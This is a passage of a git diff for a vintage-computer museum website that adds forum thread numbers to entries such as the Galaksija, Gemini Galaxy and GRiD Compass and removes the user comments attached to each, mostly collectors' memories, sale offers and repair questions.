two 3" floppies, not 3.5" - it was the same floppy drive as used in Timex FDD 3000. Itself it has no graphics card - it uses terminal (ANG-2001 - text only, ANG-3001 - text and graphics). It has 512KB of RAM, paged as 60k blocks (not 64 - 60!) - top 4KB was reserved by OS, RAM over first 64K was used as internal disk. - - Monitor connector is DB9, but it is used for video signal AND power drawed from power supply in monitor. - - I heard there was a version without floppy - for network usage? I can''t confirm - I haven''t seen any. - - author: Exin (Germany) - date: Friday 27th April 2012 - text: The U880D is a CPU from GDR. oc_id: 1206 source: url: https://web.archive.org/web/20230528040800/http://www.old-computers.com/museum/computer.asp?c=1206 diff --git a/content/museum/gakken-compact-vision-tv-boy.md b/content/museum/gakken-compact-vision-tv-boy.md index b880e7f2..d573c63f 100644 --- a/content/museum/gakken-compact-vision-tv-boy.md +++ b/content/museum/gakken-compact-vision-tv-boy.md @@ -11,6 +11,7 @@ params: - photos - software - links + forum_thread: 785 photos: - title: DOCUMENTATION subtitle: '' diff --git a/content/museum/galaksija.md b/content/museum/galaksija.md index 06ec4749..7d65c840 100644 --- a/content/museum/galaksija.md +++ b/content/museum/galaksija.md @@ -68,6 +68,7 @@ params: - software - emulators - links + forum_thread: 335 photos: - title: RADOVA'S GALAKSIJA subtitle: '' @@ -193,35 +194,6 @@ params: - title: Voja Antonic's page (in Yougoslavian) url: http://www.paralax.co.yu/pr83.htm text: Voja Antonic was the designer of the Galaksija computer - comments: - - author: Dragoljub Obradovic - date: Tuesday 8th February 2022 - text: http://galaksija.net GALe - a new Galaksija emulator, now in web browser. - - author: S.T. - date: Friday 13rd September 2019 - text: |- - A lot of parts of the original Galaksija for sale.\ - Only serious offers. - - A.T. - - author: Dragan Toroman (Serbia) - date: Friday 16th December 2011 - text: |- - FPGA Remake of Galaksija computer Project - - http://galaksija.petnica.rs - - http://www.facebook.com/pages/MikroGalaksija/198353873586798 - - http://www.facebook.com/groups/178412102254465/ - - author: CrSh (http://www.foing.hr/~fng.crsh) - date: Wednesday 25th October 2006 - text: |- - My DIYS Galaksija on\ - http://www.foing.hr/\~fng.crsh - - author: Kristijan Eladami (Netherlands/Holand) - date: Tuesday 23rd March 2004 - text: Wont by coplet computer Galaksija with all extensions,shematics diagrams, manuals and software. oc_id: 330 source: url: https://web.archive.org/web/20230608150046/http://www.old-computers.com/museum/computer.asp?c=330 diff --git a/content/museum/gamatic-7600.md b/content/museum/gamatic-7600.md index a601bba0..245ce136 100644 --- a/content/museum/gamatic-7600.md +++ b/content/museum/gamatic-7600.md @@ -53,30 +53,12 @@ params: tabs: - photos - software + forum_thread: 1255 photos: - title: GAMATIC 7600 subtitle: '' text: Thanks to Boneless for this picture image: /media/museum/photos/gamatic_7600_1.jpg - comments: - - author: Housemartins (Greece) - date: Monday 21st October 2019 - text: |- - I have just recently cleaned it up and put it back in operation, very nice machine, robust and reliable.\ - My contribution is a VIDEO OUT RCA jack in order to be plugged to a monitor or a modern TV: - - https://www.youtube.com/watch?v$kH6-0FBgE24 - - author: Anders Fraser (Somerset / UK) - date: Monday 16th September 2019 - text: I also have one of these but one of the main resistors has burnt-out (first resistor off the positive feed, after the large cap). Think the first value was brown but can''t make anything else out, if anyone could help I would be very grateful. - - author: Nick Blackburn (Isle of Man, UK) - date: Friday 3rd February 2017 - text: |- - Hi I have one of these lovely old consoles. - - It was in a very sorry state when I got it, but its been cleaned up, resoldered where required and broken parts fixed. - - It works really well and its just so refreshing to to play a simple yet addictive game of pong. software: - /software/squash-also-known-as-jai-alai-pelote-basque oc_id: 1290 diff --git a/content/museum/gavilan.md b/content/museum/gavilan.md index 7596fdbe..1ea89dcb 100644 --- a/content/museum/gavilan.md +++ b/content/museum/gavilan.md @@ -68,18 +68,12 @@ params: value: $3995 - Printer $1000 tabs: - photos + forum_thread: 858 photos: - title: GAVILAN DESKTOP subtitle: '' text: File drawer (top) and zoom command (bottom) that encloses the part of the document that will be displayed on the screen if user taps the touch pad. image: /media/museum/photos/gavilan_screenshot_1.jpg - comments: - - author: Leskovez (Russia) - date: Saturday 18th January 2014 - text: If someone owns the laptop let me know. Laptop needed for the museum of computer technology. leskovezATmail.ru - - author: Quick Basic (east Coast) - date: Thursday 9th September 2004 - text: Looks like my PC convertible in black oc_id: 877 source: url: https://web.archive.org/web/20230605035851/http://www.old-computers.com/museum/computer.asp?c=877 diff --git a/content/museum/gem-1000-junior-computer-charlemagne-999.md b/content/museum/gem-1000-junior-computer-charlemagne-999.md index cdf107fd..61be9112 100644 --- a/content/museum/gem-1000-junior-computer-charlemagne-999.md +++ b/content/museum/gem-1000-junior-computer-charlemagne-999.md @@ -76,6 +76,7 @@ params: 165 (april 84) tabs: - photos + forum_thread: 417 photos: - title: GEM 1000 subtitle: '' @@ -93,13 +94,6 @@ params: subtitle: '' text: This is the MC-1000 computer from CCE, a brazilian company. It is strangely similar to the GEM Charlemagne... The keys are black and Basic statements are written above them. image: /media/museum/photos/gem_mc1000.jpg - comments: - - author: Agustin (Buenos Aires - Argentina) - date: Saturday 22nd February 2003 - text: |- - I have a CCE - MC1000 (1985 - Brazil) that I want to sell to the Museum, the price is USD$ 100 + shipping. I live in Buenos Aires - Argentina - - If you are interested in this RARE Brazilian Computer just send me an email. oc_id: 420 source: url: https://web.archive.org/web/20230608214752/http://www.old-computers.com/museum/computer.asp?c=420 diff --git a/content/museum/gem-2000-3000-4000.md b/content/museum/gem-2000-3000-4000.md index 54c255b9..1e194023 100644 --- a/content/museum/gem-2000-3000-4000.md +++ b/content/museum/gem-2000-3000-4000.md @@ -58,10 +58,7 @@ params: GEM-2000 = 305\ GEM-3000 = 762\ GEM-4000 = 838 - comments: - - author: ers (noe) - date: Wednesday 6th April 2005 - text: what are that thing ? today it woudl be like JOE COMP making a mac + pc copatable ! + forum_thread: 418 oc_id: 421 source: url: https://web.archive.org/web/20230608214848/http://www.old-computers.com/museum/computer.asp?c=421 diff --git a/content/museum/gemini-801.md b/content/museum/gemini-801.md index f3fb986f..a69c0485 100644 --- a/content/museum/gemini-801.md +++ b/content/museum/gemini-801.md @@ -58,6 +58,7 @@ params: value: £1420 tabs: - links + forum_thread: 140 links: - title: Gemini 80-Bus Resource url: https://glasstty.com/wiki/index.php/Gemini_80-Bus_Resource @@ -68,13 +69,6 @@ params: - title: The Nascom home page url: http://www.nascomhomepage.com/ text: All you ever wanted to know about Nascom systems! - comments: - - author: John Newcombe (United Kingdom) - date: Sunday 9th June 2019 - text: |- - I am very keen to gather and archive as much Gemini software and documentation as I can. These were great machines, however, very little seems to have been kept over the years. - - If you can help me preserve this stuff for future generations, please get in touch via john.newcombe@me.com or this forum. oc_id: 127 source: url: https://web.archive.org/web/20230607112058/http://www.old-computers.com/museum/computer.asp?c=127 diff --git a/content/museum/gemini-challenger.md b/content/museum/gemini-challenger.md index a6360140..5521f037 100644 --- a/content/museum/gemini-challenger.md +++ b/content/museum/gemini-challenger.md @@ -64,6 +64,7 @@ params: value: From £4750 to £9500 tabs: - photos + forum_thread: 855 photos: - title: BACK SIDE subtitle: '' @@ -80,21 +81,6 @@ params: subtitle: '' text: Thanks to **Henk Bekkers** image: /media/museum/photos/gemini_challenger_price%20list_s1.jpg - comments: - - author: John B Hanson (UK/West Sussex) - date: Monday 7th May 2012 - text: I wrote a system for VETS on this system under Mirage. A also wrote a virtual terminal system which allowed multiple sessions on each terminal (Much like ALT+Fn keys in linux). It worked well, but operating system support was a bit of a problem sometimes. I also wrote SCSI drivers for Mirage to allow for an external SCSI drive. - - author: Andy Allen (Greece) - date: Tuesday 27th December 2011 - text: |- - I worked at T.D.I in Bristol in the early 80''s and ported the UCSD p-system to this machine. It was my favorite machine at the time, beautiful spec, construction, but sadly we never made a multi-user version. The graphics chip was great fun to program for (did the Turtle Graphics for UCSD as well). Always sad that this one wasn''t a success ...\ - (but it couldn''t compete with the Stride/Pinnacle machines) - - author: Pete Fenelon (UK) - date: Thursday 24th April 2003 - text: |- - I remember the Mirage OS slightly. It had a very VAX/VMS-like user interface, not sure about the internals - and was used quite a bit for soft-realtime in process control industries in the UK. - - It also appeared on a number of other 68k-based machines. oc_id: 874 source: url: https://web.archive.org/web/20230603012929/http://www.old-computers.com/museum/computer.asp?c=874 diff --git a/content/museum/gemini-galaxy.md b/content/museum/gemini-galaxy.md index 412cafdf..d0eddaa9 100644 --- a/content/museum/gemini-galaxy.md +++ b/content/museum/gemini-galaxy.md @@ -58,6 +58,7 @@ params: - photos - adverts - links + forum_thread: 384 photos: - title: GEMINI CATALOG, 1985 subtitle: '' @@ -106,58 +107,6 @@ params: - title: MIXTEL url: http://www.mixtel.pwp.blueyonder.co.uk/ text: Info about Gemini & Nascom - comments: - - author: John Newcombe (West Berkshire) - date: Sunday 9th May 2021 - text: 'To Peter Harding: I would be very interested in the keyboard. I am trying to preserve what I can and have assembled a small collection of Galaxy parts. I am missing the keyboard you mention.' - - author: John Newcombe (West Berkshire) - date: Sunday 9th May 2021 - text: 'To Peter Harding: I would be very interested in the keyboard. I am trying to preserve what I can and have assembled a small collection of Galaxy parts. I am missing the keyboard you mention.' - - author: Peter Harding (Southampton, UK) - date: Tuesday 4th August 2020 - text: I have a Galaxy 1 keyboard (without numeric pad) which I bought with a job lot of other computer stuff at an auction some 30 odd years ago. It has a 15 pin D connector which I presume was used before keyboard connectors were standardised across manufacturers. Is it something you would like? - - author: John Newcombe (United Kingdom) - date: Sunday 9th June 2019 - text: |- - I am very keen to gather and archive as much Gemini software and documentation as I can. These were great machines, however, very little seems to have been kept over the years. - - If you can help me preserve this stuff for future generations, please get in touch via john.newcombe@me.com or this forum. - - If you can - - author: Paul Terrey (U.K.) - date: Friday 9th February 2018 - text: I still have a Gemini Galaxy 2 (GM905) which I used for many years to design printed circuit boards. It is installed with a Pluto IO828 graphics board which ran a CAD-8 design software package. I also have lots of documentation including catalogues, price lists and original advertising material. - - author: Noel Marshall (United Kingdom) - date: Wednesday 29th March 2017 - text: |- - My father, John Marshall, was the founder of NASCOM and then Gemini. - - I remember this great lump of a computer very well. We had one at home that I was not allowed to use! - - I never really inherited my father''s interest in technology and to me I still find iphones and PCs a thing of mystery and frustration. - - I was fascinated to find this article. My father passed away a few years ago now but I think about him all the time. It is lovely being able to read things like this and to realise there are still some of them out there, even if they are in garages or boxes. - - author: Svend Saustrup (Denmark) - date: Sunday 24th July 2016 - text: |- - I sold quite a few of those at the time from my shop/workshop in Aarhus.\ - A brilliant machine that came with all documentation - even schematics for\ - all the boards in the machine. (I guess I still have the manuals somewhere).\ - We used to convert them to be used for entry to professional phototypesetters.\ - The MFB model was equipped with all the types of floppy drives and a program\ - to analyse and setup all diskette formats. Genious !! - - author: James Harrison (UK) - date: Monday 6th September 2010 - text: I bought a Gemini Galaxy 1 when they first were available, still have though haven''t used for many years. It was £1850 new. I wrote many programs using the language Comal which was one the software packages that came with the machinre. It had twin processors one video, one for the processing Z80a chips were used. Twin 400k floppy 5 1/4 inch drives ment quick loading. Well ahead for it''s time. I added a modem later on which I bought second hand for £40.00 so I could connect to Bulletin Boards sites. The 80 bus was a great inovated system with board sloted in to adapt the computer and CP/M was a good operating system with now blue screens. A light pen system for touch screen opertion was available also a clock board.could give date and time. - - author: Robert Forsyth (Earth) - date: Tuesday 10th October 2006 - text: I have the bare-bones version in my garage. Mine has the IO Pluto graphics board 640x575 or 768x575 RGB (3 bit). Some CPU boards had 256kB paged memory. I also have a RAM Disk - which made WordStar fast, and the SVC video card. - - author: Pete Fenelon (UK) - date: Thursday 2nd January 2003 - text: |- - I briefly had a Galaxy 2 passing through my collection a few years ago - didn't have space to keep it and traded it on various kit that I needed. - - It was a very nice CP/M system. Three floppy drives, which was unusual. The video card was absolutely excellent - very crisp and fast - it was quite the nicest machine I've ever run WordStar on. Reasonable keyboard, nicely put-together - but obviously more expensive than the Superbrains and other CP/M boxes people tended to spend their money on. oc_id: 385 source: url: https://web.archive.org/web/20230605025122/http://www.old-computers.com/museum/computer.asp?c=385 diff --git a/content/museum/general-home-products-ghp-wonder-wizard-model-n-7702.md b/content/museum/general-home-products-ghp-wonder-wizard-model-n-7702.md index dcc0fa98..f6bcc8d8 100644 --- a/content/museum/general-home-products-ghp-wonder-wizard-model-n-7702.md +++ b/content/museum/general-home-products-ghp-wonder-wizard-model-n-7702.md @@ -54,6 +54,7 @@ params: tabs: - photos - software + forum_thread: 1075 photos: - title: WONDER WIZARD subtitle: '' @@ -76,13 +77,6 @@ params: subtitle: '' text: '' image: /media/museum/software/ghp_handball_ss.png - comments: - - author: Ace (Oklahoma) - date: Saturday 30th December 2006 - text: Cleaning out my Grandpa's shed I came across an unopened Wonder Wizard and until that time I had no idea they even existed. I don't know any thing about it and can't seem to find out any info. such as how many where made or what their cost was back in '76. - - author: Brian Gocher (USA) - date: Tuesday 26th July 2005 - text: I have no critical input for this site. I'm just so happy that it exists! I mean what the hell is wrong with me? I get an overwhelming warm and fuzzy feeling when I see a console like the Wonder Wizard or the Commodore PET 200. Some folks see a wooden doll they played with or a book they were read before bedtime, and I get horribly sentimental at the mention of a RANA disk drive. I personally owned an Atari 800, an Atari 5200 console, and Atari 520 St and an Atari 1040 STe. Long before that I can remember waiting what seemed like an eternity for my friend's tape drive to load Zaxxon onto his VIC-20. I understood the Atari 2600 "joystick handcramp". I was a child of an 8-bit world. Thanks for the trip down memory (16k to be exact) lane. oc_id: 1105 source: url: https://web.archive.org/web/20230613001143/http://www.old-computers.com/museum/computer.asp?c=1105 diff --git a/content/museum/general-paxon-pct-50.md b/content/museum/general-paxon-pct-50.md index dfcada3f..7b32fc85 100644 --- a/content/museum/general-paxon-pct-50.md +++ b/content/museum/general-paxon-pct-50.md @@ -68,6 +68,7 @@ params: - hardware - emulators - links + forum_thread: 419 photos: - title: THE RED MODEL subtitle: '' diff --git a/content/museum/gespac-gescomp-720-730.md b/content/museum/gespac-gescomp-720-730.md index 8f29bcb6..c4992747 100644 --- a/content/museum/gespac-gescomp-720-730.md +++ b/content/museum/gespac-gescomp-720-730.md @@ -47,6 +47,7 @@ params: tabs: - photos - adverts + forum_thread: 1305 photos: - title: GESCOMP 720-730 subtitle: '' diff --git a/content/museum/goldstar-3do-interactive-multiplayer.md b/content/museum/goldstar-3do-interactive-multiplayer.md index 624d7a82..dea18194 100644 --- a/content/museum/goldstar-3do-interactive-multiplayer.md +++ b/content/museum/goldstar-3do-interactive-multiplayer.md @@ -15,6 +15,7 @@ params: - software - emulators - links + forum_thread: 1130 photos: - title: GOLDSTAR 3DO MODEL subtitle: '' @@ -166,19 +167,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: Newsgroup about 3DO software and hardware - comments: - - author: Kyle Count (New Hampshire, USA) - date: Sunday 9th April 2023 - text: 3DO had the best version on Madden Football ever made, period. - - author: Wolverine Bates - date: Thursday 23rd October 2014 - text: We used to call the original Panasonic version the "Waffle Iron" back in the day. - - author: APSVE - date: Friday 8th November 2013 - text: Gawd this thing is ugly. - - author: Keith (alberta Canada) - date: Monday 30th August 2010 - text: I wan"t to bie one from you 3DO call 780 778 8560. oc_id: 1160 source: url: https://web.archive.org/web/20230529160106/http://www.old-computers.com/museum/computer.asp?c=1160 diff --git a/content/museum/goldstar-fc-80-fc-200.md b/content/museum/goldstar-fc-80-fc-200.md index 3b907a2c..1fddf980 100644 --- a/content/museum/goldstar-fc-80-fc-200.md +++ b/content/museum/goldstar-fc-80-fc-200.md @@ -64,6 +64,7 @@ params: - hardware - emulators - links + forum_thread: 421 photos: - title: FC-200 subtitle: '' @@ -246,13 +247,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - we can run zx spectrum 48k and one 128k programs at 6mhz please help related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/gorenje-geti-3220.md b/content/museum/gorenje-geti-3220.md index 0ef31db6..57eb8c94 100644 --- a/content/museum/gorenje-geti-3220.md +++ b/content/museum/gorenje-geti-3220.md @@ -51,6 +51,7 @@ params: tabs: - photos - links + forum_thread: 1090 photos: - title: LARGER PICTURE subtitle: '' @@ -64,33 +65,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: Drasko Klikovac (Serbia) - date: Wednesday 10th March 2021 - text: Console is first generation from 1977 - - author: Matic Subelj (Slovenia) - date: Friday 5th February 2021 - text: I managed to get a Composite video out and upscaled to 1080p in the box. I did a full recap and disconected the whole RF part of the board. Its an AY-3-8500 chip based pong console, with Iskra Slovenian and US main chip. Pelota is a single-player tennis agains the wall? - - author: Matic Subelj (Slovenia) - date: Friday 5th February 2021 - text: I managed to get a Composite video out and upscaled to 1080p in the box. I did a full recap and disconected the whole RF part of the board. Its an AY-3-8500 chip based pong console, with Iskra Slovenian and US main chip. Pelota is a single-player tennis agains the wall? - - author: Matic Subelj (Slovenia) - date: Friday 5th February 2021 - text: I managed to get a Composite video out and upscaled to 1080p in the box. I did a full recap and disconected the whole RF part of the board. Its an AY-3-8500 chip based pong console, with Iskra Slovenian and US main chip. Pelota is a single-player tennis agains the wall? - - author: rod (canada) - date: Sunday 11th February 2018 - text: Does anybody know what Pelota is? - - author: drGspot (croatia) - date: Friday 23rd September 2011 - text: |- - ...last week i was at computer museum "Peek $ Poke" at Rijeka, Croatia...my 2nd visit...\ - ...although museum was officially closed i managed to enter $ saw some new exponates...between them Gorenje Geti-3220 in action...it was running pong...! :-D - - http://www.peekpoke.hr/\ - http://www.peekpoke.hr/galerija/eksponati/ - - cheers drGspot\ - net culture club "mama" Zagreb/ hackLab @ mama related: - /museum/philips-n20 - /museum/prinztronic-videosport-600 diff --git a/content/museum/gradiente-expert-plus.md b/content/museum/gradiente-expert-plus.md index 0f059f39..dfb5abca 100644 --- a/content/museum/gradiente-expert-plus.md +++ b/content/museum/gradiente-expert-plus.md @@ -68,6 +68,7 @@ params: - hardware - emulators - links + forum_thread: 788 photos: - title: KEYBOARD CLOSE-UP subtitle: '' @@ -231,13 +232,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - we can run zx spectrum 48k and one 128k programs at 6mhz please help related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/gradiente-expert-xp-800.md b/content/museum/gradiente-expert-xp-800.md index f1dbbd47..ec26532f 100644 --- a/content/museum/gradiente-expert-xp-800.md +++ b/content/museum/gradiente-expert-xp-800.md @@ -75,6 +75,7 @@ params: - software - emulators - links + forum_thread: 813 photos: - title: XP-800 1.1 subtitle: '' @@ -274,13 +275,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - we can run zx spectrum 48k and one 128k programs at 6mhz please help related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/grandstand-t-v-game-model-2000.md b/content/museum/grandstand-t-v-game-model-2000.md index 7acebe40..37c40ed7 100644 --- a/content/museum/grandstand-t-v-game-model-2000.md +++ b/content/museum/grandstand-t-v-game-model-2000.md @@ -52,6 +52,7 @@ params: value: Unknown tabs: - photos + forum_thread: 1253 photos: - title: T.V. GAME MODEL 2000 subtitle: '' diff --git a/content/museum/grandstand-t-v-game-model-3000.md b/content/museum/grandstand-t-v-game-model-3000.md index efd61a1e..0c8290d2 100644 --- a/content/museum/grandstand-t-v-game-model-3000.md +++ b/content/museum/grandstand-t-v-game-model-3000.md @@ -56,6 +56,7 @@ params: - software - emulators - links + forum_thread: 1254 photos: - title: TOP subtitle: '' @@ -108,16 +109,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: Matthew Dolan (UK) - date: Monday 29th March 2021 - text: Just taken one of these 3000 units apart and the board inside is labelled "7706" - no doubt a reference to the Gamatic 7706 system this is based on. The model I have is using the AY-3-8500 rather than the the TI chip the article talks about. - - author: Matthew Dolan (UK) - date: Thursday 18th March 2021 - text: I came across a print ad for the Grandstand 3000 on ebay which quoted the price at £29.99. Taking into account inflation and in todays money (2021) its roughly equivalent to £170. https://mattdolan.com/vintage/grandstand/grandstand-3000-print-ad.jpg - - author: Helen Taylor (Wales) - date: Saturday 12th July 2014 - text: Are the console worth anything I still have mine in the box related: - /museum/a10-telespiel-9010 - /museum/alex-video-spiel-tg-621 diff --git a/content/museum/grid-compass.md b/content/museum/grid-compass.md index cc0168ab..47890243 100644 --- a/content/museum/grid-compass.md +++ b/content/museum/grid-compass.md @@ -67,6 +67,7 @@ params: tabs: - photos - hardware + forum_thread: 880 photos: - title: GRID COMPASS subtitle: '' @@ -109,102 +110,6 @@ params: subtitle: '' text: '' image: /media/museum/hardware/grid_compass_hd_1.jpg - comments: - - author: pete gerry (us) - date: Tuesday 1st February 2011 - text: |- - The first grid is the 1101 Compass, the next model was the 1103 which was used in a lot of military apps like testing avionics, early shuttle flights (later the 1500 series took that over) and some tactical data messaging apps that connected to radios. They are practically crashproof as mentioned earlier. - - As a collectible the 1101''s are fetching huge dollars on ebay now, around 1k upto 3k for new in the box. The 1103''s still turn up also for around 300 to 1k and the 1520-1530''s turn up often for 100 to 300 bucks. They are basically the same with a larger screen and a faster processor. - - author: NormGraham (usa) - date: Wednesday 20th October 2010 - text: |- - 1\) Their main developer died of aids. Insted of viewing him as a replaceable resource (like we do today), the company used it as an excuse for YEARS when their customers wanted new features.\ - 2\) 32 computers/devices can be linked together, and you could assign a task to each one. It was pretty cool, but never really functional because developers likely were not in love with GRiD. Also, I could not divide the tasks up very well to keep that many computers busy.\ - 3\) They came out with their own GUI, Penright!. Also pretty cool, used the dos-graphics mode, and even had their own development tools. Unfortunatly, Windows got better, and people wanted windows on the laptops, etc.\ - 4\) Price! Price! Even in the 90''s these suckers were expensive. Who cares they went into space, etc.\ - 5\) I rewrote the Penright! Libs interface, and provided a non-grid solution. Would you believe, people used that to prove they were not using grid, but actually were still using them (and not paying them).\ - Ug. - - author: Victoria Leavitt (Lakewood, Washington) - date: Sunday 22nd May 2005 - text: My husband worked for a DoD contractor in the early 1980's. They were testing "off the shelf" items with combat area applications. One of the items was the Grid Compass Computer - so they all had one. I was in nursing school at the time and was one of the first students to use a "laptop" and hand in papers (and make graphs for over heads for presentations) with a word processor. I remember the dot matrix printer too. Had to tear off the sides of the paper - hated the ragged edge it left. - - author: Dave Hannum (United States) - date: Monday 9th April 2018 - text: I had one of the first Grid Computers in my lab, I had gone to LA for the big Computer show and was provided one of their units for inspection, at the ime I worked for the Bell System. Other than what has been described here, I remember the case, it was magnesium and heated nearly hot enough to cook on. It was one of the ''cons'' of this unit, but the pro''s were the innovative design, and the capability ''to take it with you''. That era was for the innovators and we saw many ideas brought to the front, most, like the Grid were short lived but added to the overall design of future units. I was glad to be there. - - author: Paul - date: Tuesday 7th July 2015 - text: |- - Your Compass description is great. Nothing to add. - - I do have an old Grid Compass-II 1129 that may have an interesting history? It has a small red plate reading "Class-III NOT FOR FLIGHT". When it is booted, a boot-splash screen pops up stating:\ - \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\ - HAVE A GOOD FLIGHT - - 510I CREW OF\ - JOE ENGLE\ - DICK COVEY\ - OX VAN HOFTEN\ - MIKE LOUNGE\ - BILL FISHER - - FROM THE SPOC GROUP\ - \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* - - Anyway, it has two "GRID-ROM Grid-OS SYSTEM" ROMS, but the other two ROM sockets are empty.\ - My guess is that the SPOC ROMS were pulled when this was surplussed 30+ years ago.\ - I''d love to get hold of the binaries for the two SPOC ROMS (I have a VERY old EPROM burner in my collection that I use for Intel SDK-85 Trainer EPROM-Burns). It would be great to restore this for others to enjoy. - - Have a great day!\ - Paul\ - pullin_gs@hotmail.com - - author: matt chandler (usa) - date: Saturday 28th March 2015 - text: Found one of these a few years back while dumpster diving. Knew it was cool so just kept it in the closet for a few years. Then couple of months back posted it on eBay and was sold for 2k by the end of that day. It went to the right person too because he explained it was going to make its way to the Smithsonian where I always knew it belonged. I am now sending this on my tab s 10.5 which was bought with part of the grids sale proceeds. :) - - author: matt chandler (usa) - date: Saturday 28th March 2015 - text: Found one of these a few years back while dumpster diving. Knew it was cool so just kept it in the closet for a few years. Then couple of months back posted it on eBay and was sold for 2k by the end of that day. It went to the right person too because he explained it was going to make its way to the Smithsonian where I always knew it belonged. I am now sending this on my tab s 10.5 which was bought with part of the grids sale proceeds. :) - - author: Tom Hall (USA) - date: Sunday 14th April 2013 - text: Manager of compatible software developement. - - author: Robert Allen - date: Sunday 9th September 2012 - text: |- - I used these briefly when I worked at a military contractors in the mid 1980''s. But what''s more interesting perhaps is, Grid Compasses were the weapons used by the Space Marines to run their sentry guns, in the movie Aliens. It''s a $d scene in the directors cut. - - Here''s a clip of the "sentry gun" UI in action. http://www.youtube.com/watch?v$HQDy-5IQvuU$feature$related - - author: Gene Gajewski - date: Friday 16th September 2011 - text: I remember Grids from the 80''s. The DOD was big on them - they \*almost\* were mechanically rugged - except - spilling orange juice (or any liquid) on the keyboard would damage the underlying membrane mechanism. You had to toss that TEMPEST certified puppy on the scrap heap... - - author: Dan - date: Monday 21st February 2011 - text: |- - I noticed a post by Len regarding the GRiD Compass computer that was NASA surplus. I am wondering if it is possible to obtain the software that NASA used on that computer for the Space Shuttle? - - I would like to install it on a GRiD Compass with my NASA collection. - - Thanks in advance for your help!\ - Dan - - author: Bob (usa) - date: Thursday 17th February 2011 - text: 6 years before this computer came out and 3 years before the patent I developed a very similar item for SAI. It used a 512x256 plasma display, an 8 inch floppy, and a emulated version of the Data General Nova line of computers so it had an RTOS, Basic and Fortran. And it was built into a briefcase with the display and touch panel in the top. Funny thing was that SAI decided there was no need for it so refused to go after a patent. Even funnier was 20 years later they were ruggeding the GRiD Compass computer for military applications and paying royalties to them! - - author: NormGraham - date: Wednesday 20th October 2010 - text: lol....I just remembered my boss STOLE a GRiD computer at a convention show....he did it so we could be the first to market with our software.....(That''s the side of the industry you dont hear about anymore). - - author: Ali Simmons (UK) - date: Tuesday 15th July 2008 - text: |- - I've just found one of these at the back of my atic. - - It still boots up!! - - author: Themis (Greece,Patras) - date: Sunday 20th April 2008 - text: Nice design.Μου αρεσει πολυ.How can be connected with the new printers and internet? - - author: K. T. Lam (Juneau, AK) - date: Thursday 8th June 2006 - text: I remember first seeing one of these on an airplane when I was flying from New York to Denver. I was absolutely blown away by it, at the time I couldn't imagine a computer that you could carry around with you! - - author: Quick basic (east Coast) - date: Thursday 9th September 2004 - text: I want one of these! oc_id: 900 source: url: https://web.archive.org/web/20230607193345/http://www.old-computers.com/museum/computer.asp?c=900 diff --git a/content/museum/gridcase.md b/content/museum/gridcase.md index 14e753dc..1b6b340c 100644 --- a/content/museum/gridcase.md +++ b/content/museum/gridcase.md @@ -71,6 +71,7 @@ params: - photos - adverts - hardware + forum_thread: 1027 photos: - title: LARGE VIEW subtitle: '' @@ -138,51 +139,6 @@ params: • 10 MB hard-disk\ • Base station battery charger/power source. image: /media/museum/hardware/grid_gridcase_peripherals_s1.jpg - comments: - - author: Rod Jones (Denver CO/USA) - date: Saturday 31st October 2020 - text: |- - 28.10.2020 at 09:55\ - This was my first laptop. Very powerful for it’s day. Unique in that you used, I think it was a penny to pop opens little panel which exposed 3 eprom sockets the 4th socket held your ram chip and it was soldered in. You would buy software like Lotus 123. Fill out a form and send the unopened software to grid and they would get a license to burn the software onto an eprom and send it back to you. Now since you had 3 eprom sockets that mint that you could have 3 programs loaded on the laptop at the same time. If you needed to run a different program you would turn it off and carefully remove one of the EPROMs and take another eprom chip and pop it in. Now these were not rugged EPROMs. They were the same EPROMs that you would find soldered into a standard socket so you had to be very careful with them. The pins were quite fragile. Back then if you wanted to produce a document, you first had to decide which word processing package gave you the features you needed for the document you were producing. Aston Tate had different capabilities than other word processing software packages. So you ended up with several EPROMs with different software vendors products burnt in. Again these were very fragile so you ended up carrying a small case with foam that held all the burnt in programs. Quite unique. - - author: Brendan (United states) - date: Tuesday 9th June 2015 - text: Are these worth anything as I have one in working order? - - author: Lesko (Russia) - date: Wednesday 16th October 2013 - text: Hello I have a laptop Grid 1520. My laptop screen is broken. please tell me where mnenayti Eran? Can anyone selling laptop parts? If you have any information please write. - - author: Kelly asaf (Usa) - date: Monday 8th April 2013 - text: I''m sorry to post such a ridiculous question, but I actually have one of the old grid computers and I''m trying to figure out if it has any value. It''s the gridcase model 1530. It seems to work and has a ton of stuff with it. Any help would be greatly appreciated. Thanks - - author: Kelly asaf (Usa) - date: Monday 8th April 2013 - text: I''m sorry to post such a ridiculous question, but I actually have one of the old grid computers and I''m trying to figure out if it has any value. It''s the gridcase model 1530. It seems to work and has a ton of stuff with it. Any help would be greatly appreciated. Thanks - - author: Daniel (USA) - date: Tuesday 23rd October 2012 - text: Trying to find out how to tell if the model I currently have has a built in hard drive. Anyone know how find out? I don''t see a pressed X anywhere on the case, and am assuming the one I have does''t not contain one. - - author: Lee Pulver (USA) - date: Monday 29th December 2008 - text: |- - We became part of the Grid Systems team and worked on the first laptop systems during the early 1980’s$ we still have the original reports and evaluations, including the laptop enclosure Magnesium Alloy test and analysis.\ - Our main charter then and now: influencing the reduction of equipment hazards. As with all clients like Grid Systems, we continue to test, evaluate, and consult our clients so their products can easily conform to product regulations and reduce equipment hazards. As one example of hundreds, 